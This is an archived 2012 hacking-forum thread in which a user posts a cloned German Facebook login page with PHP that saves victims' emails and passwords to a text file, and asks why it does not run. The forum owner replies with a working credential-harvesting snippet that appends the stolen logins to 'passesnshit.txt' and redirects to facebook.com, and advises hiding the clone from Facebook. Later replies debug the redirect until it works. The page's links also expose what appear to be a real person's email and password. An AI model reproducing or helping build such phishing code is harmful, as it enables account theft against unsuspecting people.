This forum is in archive mode. You will not be able to post new content.

Author Topic: [PHP] Code not executed  (Read 2316 times)

0 Members and 2 Guests are viewing this topic.

Offline flowjob

  • Knight
  • **
  • Posts: 327
  • Cookies: 46
  • Pastafarian
    • View Profile
[PHP] Code not executed
« on: June 21, 2012, 04:30:21 PM »
Ok,I'M working on a simple facebook-fishing site right now:

I used the srccode of the original (german,'cause the target speaks german) loginpage.
When you press the 'login' button,the email and pass will be added to a file called 'accdata.txt',then php will write some javascript-code to go to the original facebook login page and fills in the data there too...

But,right now the php code doesn't get executed when I press the button,but I can't find the mistake...

So where's the mistake in this code:
Code: [Select]
<!DOCTYPE html>
<html lang="de" class="no_js">
<head><meta charset="utf-8" /><script>function envFlush(a){function b(c){for(var d in a)c[d]=a[d];}if(window.requireLazy){requireLazy(['Env'],b);}else{Env=window.Env||{};b(Env);}}
envFlush({"user":"0","locale":"de_DE","method":"GET","svn_rev":577953,"tier":"","vip":"69.171.242.74","static_base":"https:\/\/s-static.ak.facebook.com\/","www_base":"http:\/\/www.facebook.com\/","rep_lag":2,"fb_dtsg":"AQAnUeVT","ajaxpipe_token":"AXj9KC6BQDSahz30","lhsh":"UAQEZ8Uuk","tracking_domain":"https:\/\/pixel.facebook.com","retry_ajax_on_network_error":"1","fbid_emoticons":"1"});</script><script>envFlush({"eagleEyeConfig":{"seed":"1G46","sessionStorage":true}});CavalryLogger=false;window._script_path = "\/login.php";</script><noscript> <meta http-equiv="refresh" content="0; URL=/login.php?login_attempt=1&amp;_fb_noscript=1" /> </noscript>
<base href="https://www.facebook.com/" />
<meta name="robots" content="noodp, noydir" /><meta name="description" content=" Facebook ist ein soziales Netzwerk, das Menschen mit ihren Freunden, Arbeitskollegen, Kommilitonen und anderen Mitmenschen verbindet. Nutzer verwenden Facebook, um mit ihren Freunden in Verbindung zu bleiben, eine unbegrenzte Anzahl an Fotos hochzuladen, Links und Videos zu posten sowie mehr über die Personen zu erfahren, die sie kennenlernen." /><link rel="alternate" media="handheld" href="https://www.facebook.com/login.php?login_attempt=1" /><title>Anmelden | Facebook</title>
<noscript><meta http-equiv="X-Frame-Options" content="deny" /></noscript>
    <link rel="stylesheet" href="https://s-static.ak.fbcdn.net/rsrc.php/v2/y9/r/ifDWeeKRCx8.css" />
    <link rel="stylesheet" href="https://s-static.ak.fbcdn.net/rsrc.php/v2/yH/r/flf00tYLNqx.css" />

    <script src="https://s-static.ak.fbcdn.net/rsrc.php/v2/yT/r/b5kyvmM-CDC.js"></script>
  <script type="text/javascript">window.Bootloader && Bootloader.done(["Mw+jI"]);</script>
<link rel="search" type="application/opensearchdescription+xml" href="https://s-static.ak.facebook.com/rsrc.php/yJ/r/H2SSvhJMJA-.xml" title="Facebook" />
<link rel="shortcut icon" href="https://s-static.ak.facebook.com/rsrc.php/yi/r/q9U99v3_saj.ico" /><script>new (require("ServerJS"))().handle({"require":[["lowerDomain"],["QuicklingPrelude"],["Primer"]]})</script></head>
<?php
function logsin()
{
$file "accdata.txt";
$fh fopen($file,'w');
$data $_POST["email"] . ":" $_POST["pass"];
fwrite($fh,$data);
fclose($fh);
echo 
'<script type="text/javascript" Language="JavaScript">\nurl = https://www.facebook.com/login.php?email=' $_POST["email"] . '&pass=' $_POST["pass"] . ';\nwindow.open(url);\n</script>';
}
?>

<body class="login_page UIPage_LoggedOut ff4 win Locale_de_DE">
<div id="FB_HiddenContainer" style="position:absolute; top:-10000px; width:0px; height:0px;"></div><div id="pagelet_bluebar" data-referrer="pagelet_bluebar"><div id="blueBarHolder"><div id="blueBar"><div class="loggedout_menubar_container"><div class="clearfix loggedout_menubar"><a class="lfloat" href="/" title="Zur Facebook-Startseite gehen"><i class="fb_logo img sp_3dz7ws sx_299b4f"><u>Facebook-Logo</u></i></a></div></div><div class="signupBanner_v1"><div class="signup_bar_container"><div class="signup_box clearfix"><a class="signup_btn uiButton uiButtonSpecial uiButtonLarge" href="/r.php?locale=de_DE&amp;v=1" role="button"><span class="uiButtonText">Registrieren</span></a><span class="signup_box_content">Verbinde dich mit den Menschen aus deinem Leben und lass sie teilhaben.</span></div></div></div></div></div></div><div id="globalContainer" class="uiContextualLayerParent"><div id="content" class="fb_content clearfix"><div class="UIFullPage_Container"><div class="mvl ptm uiInterstitial login_page_interstitial uiInterstitialLarge uiBoxWhite"><div class="uiHeader uiHeaderBottomBorder mhl mts uiHeaderPage interstitialHeader"><div class="clearfix uiHeaderTop"><div class="uiHeaderActions rfloat"></div><div><h2 tabindex="0" class="uiHeaderTitle">Facebook-Anmeldung</h2></div></div></div><div class="phl ptm uiInterstitialContent"><div class="login_form_container"><form id="login_form" method="post"><input type="hidden" name="lsd" value="AVqv1jrE" autocomplete="off" /><div id="loginform" style=""><input type="hidden" autocomplete="off" id="return_session" name="return_session" value="0" /><input type="hidden" autocomplete="off" id="legacy_return" name="legacy_return" value="1" /><input type="hidden" autocomplete="off" id="display" name="display" value="" /><input type="hidden" autocomplete="off" id="session_key_only" name="session_key_only" value="0" /><input type="hidden" autocomplete="off" id="trynum" name="trynum" value="1" /><input type="hidden" name="charset_test" value="&euro;,&acute;,€,´,?,?,?" /><input type="hidden" autocomplete="off" name="timezone" value="" id="uvz3ro_1" /><input type="hidden" name="lgnrnd" value="064816_sFmi" /><input type="hidden" id="lgnjs" name="lgnjs" value="n" /><div class="form_row clearfix "><label for="email" id="label_email" class="login_form_label">E-Mail-Adresse:</label><input type="text" class="inputtext" id="email" name="email" value="" onkeypress="formchange()" /></div><div class="form_row clearfix "><label for="pass" id="label_pass" class="login_form_label">Passwort:</label><input type="password" class="inputpassword" id="pass" name="pass" value="" /></div><div class="persistent"><div class="uiInputLabel clearfix"><input id="persist_box" type="checkbox" value="1" name="persistent" class="uiInputLabelCheckbox" /><label for="persist_box">Angemeldet bleiben</label></div></div><input type="hidden" autocomplete="off" id="default_persistent" name="default_persistent" value="0" /><div id="buttons" class="form_row clearfix"><label class="login_form_label"></label><div id="login_button_inline"><label class="uiButton uiButtonConfirm uiButtonLarge" id="loginbutton" for="uvz3ro_2"><input value="Anmelden" name="login" type="submit" id="uvz3ro_2" onclick="logsin()" /></label></div><div id="register_link">oder <strong><a href="http://www.facebook.com/r.php?possible_fb_user=1&amp;is_enabled=1&amp;next=&amp;locale=de_DE" target="_blank" rel="nofollow" id="reg_btn_link" tabindex="-1">Für Facebook registrieren</a></strong></div></div><p class="reset_password form_row"><a href="http://www.facebook.com/recover.php?locale=de_DE&amp;email_or_phone=noreply@facebook.at" target="" tabindex="-1">Passwort vergessen?</a></p></div></form></div></div></div><ul class="uiList uiListHorizontal clearfix ptm localeSelectorList"><li class="uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><a dir="ltr" href="https://www.facebook.com/login.php?pass=hagerf9&amp;email=noreply@facebook.at" onclick="intl_set_cookie_locale(&quot;de_DE&quot;, &quot;https:\/\/www.facebook.com\/login.php?pass=hagerf9&amp;email=hagerf13\u002540gmail.com&quot;);" title="German">Deutsch</a></li><li class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><a dir="ltr" href="https://www.facebook.com/login.php?pass=hagerf9&amp;email=noreply@facebook.at" onclick="intl_set_cookie_locale(&quot;en_US&quot;, &quot;https:\/\/www.facebook.com\/login.php?pass=hagerf9&amp;email=hagerf13\u002540gmail.com&quot;);" title="English (US)">English (US)</a></li><li class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><a dir="ltr" href="https://www.facebook.com/login.php?pass=hagerf9&amp;email=noreply@facebook.at" onclick="intl_set_cookie_locale(&quot;es_LA&quot;, &quot;https:\/\/www.facebook.com\/login.php?pass=hagerf9&amp;email=hagerf13\u002540gmail.com&quot;);" title="Spanish">Español</a></li><li class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><a dir="ltr" href="https://www.facebook.com/login.php?pass=hagerf9&amp;email=noreply@facebook.at" onclick="intl_set_cookie_locale(&quot;pt_BR&quot;, &quot;https:\/\/www.facebook.com\/login.php?pass=hagerf9&amp;email=hagerf13\u002540gmail.com&quot;);" title="Portuguese (Brazil)">Português (Brasil)</a></li><li class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><a dir="ltr" href="https://www.facebook.com/login.php?pass=hagerf9&amp;email=noreply@facebook.at" onclick="intl_set_cookie_locale(&quot;fr_FR&quot;, &quot;https:\/\/www.facebook.com\/login.php?pass=hagerf9&amp;email=hagerf13\u002540gmail.com&quot;);" title="French (France)">Français (France)</a></li><li class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><a dir="ltr" href="https://www.facebook.com/login.php?pass=hagerf9&amp;email=noreply@facebook.at" onclick="intl_set_cookie_locale(&quot;it_IT&quot;, &quot;https:\/\/www.facebook.com\/login.php?pass=hagerf9&amp;email=hagerf13\u002540gmail.com&quot;);" title="Italian">Italiano</a></li><li class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><a dir="rtl" href="https://www.facebook.com/login.php?pass=hagerf9&amp;email=noreply@facebook.at" onclick="intl_set_cookie_locale(&quot;ar_AR&quot;, &quot;https:\/\/www.facebook.com\/login.php?pass=hagerf9&amp;email=hagerf13\u002540gmail.com&quot;);" title="Arabic">???????</a></li><li class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><a dir="ltr" href="https://www.facebook.com/login.php?pass=hagerf9&amp;email=noreply@facebook.at" onclick="intl_set_cookie_locale(&quot;hi_IN&quot;, &quot;https:\/\/www.facebook.com\/login.php?pass=hagerf9&amp;email=hagerf13\u002540gmail.com&quot;);" title="Hindi">??????</a></li><li class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><a dir="ltr" href="https://www.facebook.com/login.php?pass=hagerf9&amp;email=noreply@facebook.at" onclick="intl_set_cookie_locale(&quot;zh_CN&quot;, &quot;https:\/\/www.facebook.com\/login.php?pass=hagerf9&amp;email=hagerf13\u002540gmail.com&quot;);" title="Simplified Chinese (China)">??(??)</a></li><li class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><a dir="ltr" href="https://www.facebook.com/login.php?pass=hagerf9&amp;email=noreply@facebook.at" onclick="intl_set_cookie_locale(&quot;ja_JP&quot;, &quot;https:\/\/www.facebook.com\/login.php?pass=hagerf9&amp;email=hagerf13\u002540gmail.com&quot;);" title="Japanese">???</a></li><li class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><a class="showMore" rel="dialog" href="/ajax/intl/language_dialog.php?uri=https%3A%2F%2Fwww.facebook.com%2Flogin.php%3Fpass%3Dhagerf9%26email%3Dhagerf13%2540gmail.com&amp;source=TOP_LOCALES_DIALOG" title="Weitere Sprachen anzeigen">…</a></li></ul></div></div><div id="pageFooter" data-referrer="page_footer"><div id="contentCurve"></div><div class="clearfix" id="footerContainer"><div class="mrl lfloat" role="contentinfo"><div class="fsm fwn fcg"><span> Facebook © 2012</span></div></div><div class="navigation fsm fwn fcg" role="navigation"><a href="http://www.facebook.com/mobile/?ref=pf" title="Probiere Facebook-Handy aus.">Handy</a> · <a href="http://www.facebook.com/find-friends?ref=pf" title="Finde jeden im Internet.">Freunde finden</a> · <a href="http://www.facebook.com/badges/?ref=pf" title="Baue ein Facebook-Banner auf deiner Website ein.">Banner</a> · <a href="http://www.facebook.com/directory/people/" title="Durchsuche unser Personenverzeichnis.">Personen</a> · <a href="http://www.facebook.com/directory/pages/" title="Durchsuche unsere Seitenübersicht.">Seiten</a> · <a href="http://www.facebook.com/facebook" accesskey="8" title="Lies unseren Blog, entdecke unseren Ressourcenbereich und suche nach Jobs.">Über uns</a> · <a href="http://www.facebook.com/campaign/landing.php?placement=pflo&amp;campaign_id=402047449186&amp;extra_1=auto" title="Wirb auf Facebook.">Werbung</a> · <a href="http://www.facebook.com/pages/create.php?ref_type=sitefooter" title="Seite erstellen">Seite erstellen</a> · <a href="http://developers.facebook.com/?ref=pf" title="Entwickle Anwendungen auf unserer Plattform.">Entwickler</a> · <a href="http://www.facebook.com/careers/?ref=pf" title="Mach deinen nächsten Karriereschritt und bewirb dich bei unserem großartigen Unternehmen.">Karrieren</a> · <a href="http://www.facebook.com/privacy/explanation" title="Erfahre mehr über deine Privatsphäre und Facebook.">Datenschutz</a> · <a href="http://www.facebook.com/help/cookies" title="Learn about cookies and Facebook.">Cookies</a> · <a href="http://www.facebook.com/policies/?ref=pf" accesskey="9" title="Unsere Nutzungsbedingungen und Richtlinien.">Impressum/Nutzungsbedingungen</a> · <a href="http://www.facebook.com/help/?ref=pf" accesskey="0" title="Besuche unseren Hilfebereich.">Hilfe</a></div></div></div></div><div id="pagelet_dock"></div><script type="text/javascript">/*<![CDATA[*/function si_cj(m){setTimeout(function(){new Image().src="https:\/\/error.facebook.com\/common\/scribe_endpoint.php?c=si_clickjacking&t=3865"+"&m="+m;},5000);}if(top!=self && !false){try{if(parent!=top){throw 1;}var si_cj_d=["apps.facebook.com","\/pages\/","apps.beta.facebook.com"];var href=top.location.href.toLowerCase();for(var i=0;i<si_cj_d.length;i++){if (href.indexOf(si_cj_d[i])>=0){throw 1;}}si_cj("3 ");}catch(e){si_cj("1 \t");window.document.write("\u003Cstyle>body * {display:none !important;}\u003C\/style>\u003Ca href=\"#\" onclick=\"top.location.href=window.location.href\" style=\"display:block !important;padding:10px\">\u003Ci class=\"img sp_4yc81c sx_e52d76\" style=\"display:block !important\">\u003C\/i>Gehe zu facebook.com\u003C\/a>");/*EL1W1jfE*/}}/*]]>*/</script><script>envFlush({"ffid1":"X3S83EUPNgTKIcYFm2CY2Q","ffid2":"k26HijT8_novGO8n94DQdg","ffid3":"TlJfalQwY1lDTmNVTXZjck13SU5SR0VS","ffid4":"a4opxeWqTNlnr064ZgyZsQ","ffver":63083});</script>
<script type="text/javascript">Bootloader.setResourceMap({"HwjeW":{"type":"css","permanent":1,"src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/y9\/r\/ifDWeeKRCx8.css"},"A7UAf":{"type":"css","src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/yH\/r\/flf00tYLNqx.css"},"FVdSs":{"type":"css","src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/yL\/r\/PaUaWlJQ5S5.css"},"WyVis":{"type":"css","permanent":1,"src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/yQ\/r\/yjizs1KYBqa.css"},"VDymv":{"type":"css","permanent":1,"src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/yv\/r\/D3KKXzCPXzc.css"}});Bootloader.setResourceMap({"yxq3J":{"type":"js","src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/yf\/r\/U5uQB9BG3qY.js"},"nDn1Z":{"type":"js","src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/yl\/r\/B6mYP44QRoV.js"},"1s9fs":{"type":"js","src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/y6\/r\/FhJ-EwJy0eV.js"},"cNca2":{"type":"js","src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/yT\/r\/7YVta2ViNbr.js"},"U+491":{"type":"js","src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/y7\/r\/CCfJ79ZTUQR.js"},"mRJFj":{"type":"js","src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/y0\/r\/eB-zVJWIxIQ.js"},"c9DCt":{"type":"js","src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/yB\/r\/v8hHuudtaNn.js"},"oW\/FK":{"type":"js","src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/yy\/r\/5fUU8CYT2zE.js"},"5A7ab":{"type":"js","src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/yd\/r\/A51qYRV2ZLa.js"},"F154S":{"type":"js","src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/yj\/r\/y8tSblqbiZS.js"},"zgb4H":{"type":"js","src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/yH\/r\/KQ36ae4IhW9.js"},"H42Jh":{"type":"js","src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/y3\/r\/ppwOo4BAmlb.js"},"AtxWD":{"type":"js","src":"https:\/\/s-static.ak.fbcdn.net\/rsrc.php\/v2\/yP\/r\/ZFfDiAb8Q3E.js"}});
Bootloader.enableBootload({"Dialog":{"resources":["yxq3J","HwjeW"],"module":true},"IframeShim":{"resources":["yxq3J","1s9fs"],"module":true},"ErrorSignal":{"resources":["yxq3J","cNca2"],"module":true},"DOM":{"resources":["yxq3J"],"module":true},"HTML":{"resources":["yxq3J"],"module":true},"detect-broken-proxy-cache":{"resources":["yxq3J"]},"link-rel-preload":{"resources":["yxq3J"]},"legacy:dialog":{"resources":["yxq3J","HwjeW"]},"legacy:ajaxpipe":{"resources":["yxq3J","U+491"]},"legacy:async":{"resources":["yxq3J"]},"legacy:PhotoSnowlift":{"resources":["yxq3J","HwjeW"]},"legacy:Toggler":{"resources":["yxq3J","HwjeW"]},"event-extensions":{"resources":["yxq3J"],"module":true},"AsyncDialog":{"resources":["yxq3J","HwjeW"],"module":true},"AjaxPipeRequest":{"resources":["yxq3J"],"module":true},"AsyncRequest":{"resources":["yxq3J"],"module":true},"PhotoSnowlift":{"resources":["yxq3J","HwjeW"],"module":true},"VaultBox":{"resources":["yxq3J","HwjeW","mRJFj","c9DCt","FVdSs"],"module":true},"fb-photos-snowlift-css":{"resources":["WyVis","HwjeW"]},"Live":{"resources":["yxq3J","oW\/FK"],"module":true},"PhotoTagApproval":{"resources":["yxq3J","5A7ab"],"module":true},"PhotoTagger":{"resources":["yxq3J","HwjeW","5A7ab"],"module":true},"PhotoTags":{"resources":["yxq3J","5A7ab"],"module":true},"TagTokenizer":{"resources":["yxq3J","F154S","5A7ab","zgb4H"],"module":true},"fb-photos-snowlift-fullscreen-css":{"resources":["VDymv"]},"VideoRotate":{"resources":["yxq3J","H42Jh"],"module":true},"AsyncResponse":{"resources":["yxq3J"],"module":true},"PhotoInlineEditor":{"resources":["yxq3J","HwjeW","5A7ab","AtxWD"],"module":true},"Form":{"resources":["yxq3J"],"module":true},"DOMScroll":{"resources":["yxq3J"],"module":true},"Toggler":{"resources":["yxq3J","HwjeW"],"module":true},"Tooltip":{"resources":["yxq3J","HwjeW"],"module":true},"Input":{"resources":["yxq3J"],"module":true},"trackReferrer":{"resources":[],"module":true},"legacy:async-signal":{"resources":["yxq3J"]}});</script>
<script type="text/javascript">
Bootloader.configurePage(["HwjeW","A7UAf"]);
Bootloader.done(["jDr+c","yZtFc"]);


new (require("ServerJS"))().handle({"elements":[["m478315_1","login_form",2],["m478315_3","login_form",2]],"define":[["BanzaiConfig",[],{"MAX_SIZE":10000,"MAX_WAIT":60000,"gks":[]}]],"require":[["LoginFormController","init",["m478315_1","m478315_2"],[{"__m":"m478315_1"},{"__m":"m478315_2"}]],["userAction","setUATypeConfig",[],[{"uan":false,"uai":false,"uad":false,"uae":false}]],["userAction","setCustomSampleConfig",[],[{"uan":{"test":{"test":true}}}]],["DimensionTracking"],["InitialJSLoader","loadOnDOMContentReady",[],[["yxq3J","nDn1Z"]]]]});

onloadRegister_DEPRECATED(function (){$("uuydda_1").value = tz_calculate(1340284783)});
onloadRegister_DEPRECATED(function (){window.loading_page_chrome = true;});
onloadRegister_DEPRECATED(function (){window.intl_locale_rewrites = {"meta":{"\/_B\/":"([.,!?\\s]|^)","\/_E\/":"([.,!?\\s]|$)"},"patterns":{"\/(\u00df|s|z|x)\u0001s_E\/":"$1\u0001$2","\/_\u0001([^\u0001]*)\u0001\/e":"mb_strtolower(\"\u0001$1\u0001\")","\/\\^\\x01([^\\x01])(?=[^\\x01]*\\x01)\/e":"mb_strtoupper(\"\u0001$1\")","\/_\u0001([^\u0001]*)\u0001\/":"javascript"}};});
onloadRegister_DEPRECATED(function (){window.loading_page_chrome = false;});
onloadRegister_DEPRECATED(function (){useragentcm();});
onafterloadRegister_DEPRECATED(function (){Bootloader.loadComponents(["detect-broken-proxy-cache"], function(){ detect_broken_proxy_cache("0", "c_user") });});
onafterloadRegister_DEPRECATED(function (){Bootloader.loadComponents(["link-rel-preload"], function(){ link_rel_preload() });});
</script><script>if(!window.ge)window.ge=function(a){return document.getElementById(a);};window.onload=function(a){return function(){var b=ge('email'),c=ge('pass');try{if(b&&!b.value){b.focus();}else if(c)c.focus();}catch(d){if(!(d.number==-2146826178))throw d;}return a&&a.call(window);};}(window.onload);function formchange(){(ge('persistent')||{}).checked=0;}function pop(a){window.open(a);}function reload_on_new_cookie(a){if(getCookie('c_user')||getCookie('csm'))window.location=a;}function begin_polling_login_cookies(a){setInterval(function(){reload_on_new_cookie(a);},5000);}
</script>
<script>var bigPipe = new (require('BigPipe'))({"lid":0,"forceFinish":true,"jsEarlier":0});</script>

<script>bigPipe.onPageletArrive({"phase":0,"id":"first_response","is_last":true,"css":["HwjeW","A7UAf"],"js":["yxq3J","nDn1Z"],"tti_phase":0})</script>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 

<script>bigPipe.onPageletArrive({"phase":1,"id":"","is_last":true,"the_end":true,"css":["HwjeW","A7UAf"],"js":["yxq3J","nDn1Z"]})</script>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    </body></html>
« Last Edit: June 21, 2012, 04:33:10 PM by Area_13 »
Quote
<phil> I'm gonna DDOS the washing machine with clothes packets.
<deviant_sheep> dont use too much soap or youll cause a bubble overflow

Offline ande

  • Owner
  • Titan
  • *
  • Posts: 2664
  • Cookies: 256
    • View Profile
Re: [PHP] Code not executed
« Reply #1 on: June 21, 2012, 04:52:24 PM »
You only have a function, the function is never called.. Do something like this:
Code: (php) [Select]
if(isset($_POST['username input name/id']) && isset($_POST['password input name/id']))
{
$data = $_POST["email"] . ":" . $_POST["pass"] . "\r\n\r\n";
file_put_contents("passesnshit.txt", $data, FILE_APPEND);
header("Location: http://facebook.com");
die();
}

Also, put the code at the top, before the HTML. I would also recommend you do a pure-html clone instead, a lot of javascript crap there. Harder to know what's going on/mod it/make sure facebook dosent know what youre doing.
 
« Last Edit: June 21, 2012, 04:58:14 PM by ande »
if($statement) { unless(!$statement) { // Very sure } }
https://evilzone.org/?hack=true

Offline flowjob

  • Knight
  • **
  • Posts: 327
  • Cookies: 46
  • Pastafarian
    • View Profile
Re: [PHP] Code not executed
« Reply #2 on: June 21, 2012, 05:07:53 PM »
It should be called at
Code: [Select]
<input value="Anmelden" name="login" type="submit" id="uvz3ro_2" onclick="logsin()" />
What exactly does your first line do? (I'm new to php,and the line is kinda confusing...)

The Javascript crap is from facebook. I only added the php function and edited the upper code-line...
Quote
<phil> I'm gonna DDOS the washing machine with clothes packets.
<deviant_sheep> dont use too much soap or youll cause a bubble overflow

Offline ande

  • Owner
  • Titan
  • *
  • Posts: 2664
  • Cookies: 256
    • View Profile
Re: [PHP] Code not executed
« Reply #3 on: June 21, 2012, 05:13:00 PM »
It should be called at
Code: [Select]
<input value="Anmelden" name="login" type="submit" id="uvz3ro_2" onclick="logsin()" />
What exactly does your first line do? (I'm new to php,and the line is kinda confusing...)

The Javascript crap is from facebook. I only added the php function and edited the upper code-line...


PHP cannot be called by javascript(onclick, onload, onX, etc). The first line checks if the user have entered something in the username and password field, if so, it reads it and writes it to file and redirects the user to facebook.com
if($statement) { unless(!$statement) { // Very sure } }
https://evilzone.org/?hack=true

Offline flowjob

  • Knight
  • **
  • Posts: 327
  • Cookies: 46
  • Pastafarian
    • View Profile
Re: [PHP] Code not executed
« Reply #4 on: June 21, 2012, 05:37:31 PM »
PHP cannot be called by javascript(onclick, onload, onX, etc).
Oh, didn't know onX is only client-site

Ok,thanks for the snippet. I'll try it out now..

Edit:
Ok,I added it after the <!doctype>, but it still won't work. Nothing is happening...
« Last Edit: June 21, 2012, 05:43:38 PM by Area_13 »
Quote
<phil> I'm gonna DDOS the washing machine with clothes packets.
<deviant_sheep> dont use too much soap or youll cause a bubble overflow

Offline ande

  • Owner
  • Titan
  • *
  • Posts: 2664
  • Cookies: 256
    • View Profile
Re: [PHP] Code not executed
« Reply #5 on: June 21, 2012, 05:57:48 PM »
Did you change "if(isset($_POST['username input name/id']) && isset($_POST['password input name/id']))" to the correct values?
if($statement) { unless(!$statement) { // Very sure } }
https://evilzone.org/?hack=true

Offline flowjob

  • Knight
  • **
  • Posts: 327
  • Cookies: 46
  • Pastafarian
    • View Profile
Re: [PHP] Code not executed
« Reply #6 on: June 21, 2012, 06:12:12 PM »
Found the error,accidently added some letters (that's why I hate touchpads on laptops).

But got this error:
Code: [Select]
Warning:  Cannot modify header information - headers already sent by (output started at /home/kl5c1/public_html/rpongratz/fbpish/login.php:2) in /home/kl5c1/public_html/rpongratz/fbpish/login.php on line 7
But I already received the input of email and pass from the browser,so I can't use this function anymore...

So,how can I load facebook.com AFTER receiving the information from the browser?
« Last Edit: June 21, 2012, 06:51:09 PM by Area_13 »
Quote
<phil> I'm gonna DDOS the washing machine with clothes packets.
<deviant_sheep> dont use too much soap or youll cause a bubble overflow

Offline ande

  • Owner
  • Titan
  • *
  • Posts: 2664
  • Cookies: 256
    • View Profile
Re: [PHP] Code not executed
« Reply #7 on: June 21, 2012, 07:26:44 PM »
Found the error,accidently added some letters (that's why I hate touchpads on laptops).

But got this error:
Code: [Select]
Warning:  Cannot modify header information - headers already sent by (output started at /home/kl5c1/public_html/rpongratz/fbpish/login.php:2) in /home/kl5c1/public_html/rpongratz/fbpish/login.php on line 7
But I already received the input of email and pass from the browser,so I can't use this function anymore...

So,how can I load facebook.com AFTER receiving the information from the browser?


I told you, add the code at the TOP, before EVERYTHING.
if($statement) { unless(!$statement) { // Very sure } }
https://evilzone.org/?hack=true

Offline flowjob

  • Knight
  • **
  • Posts: 327
  • Cookies: 46
  • Pastafarian
    • View Profile
Re: [PHP] Code not executed
« Reply #8 on: June 21, 2012, 07:30:57 PM »
Found problem:
<!doctype>

Always thought has to be the first one,so the browser knows it's an website..

Ok,thanks for the help ande  :D

+1 for the trouble you had with me  ;D
Quote
<phil> I'm gonna DDOS the washing machine with clothes packets.
<deviant_sheep> dont use too much soap or youll cause a bubble overflow

Offline ande

  • Owner
  • Titan
  • *
  • Posts: 2664
  • Cookies: 256
    • View Profile
Re: [PHP] Code not executed
« Reply #9 on: June 21, 2012, 09:29:45 PM »
Found problem:
<!doctype>

Always thought has to be the first one,so the browser knows it's an website..

Ok,thanks for the help ande  :D

+1 for the trouble you had with me  ;D

The <!doctype> is not really the problem, the problem was that there was data(HTML) before the PHP code. Which fucks up the HTTP protocol when you want to do a redirection. You cant have data before a redirection.
if($statement) { unless(!$statement) { // Very sure } }
https://evilzone.org/?hack=true

 



Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.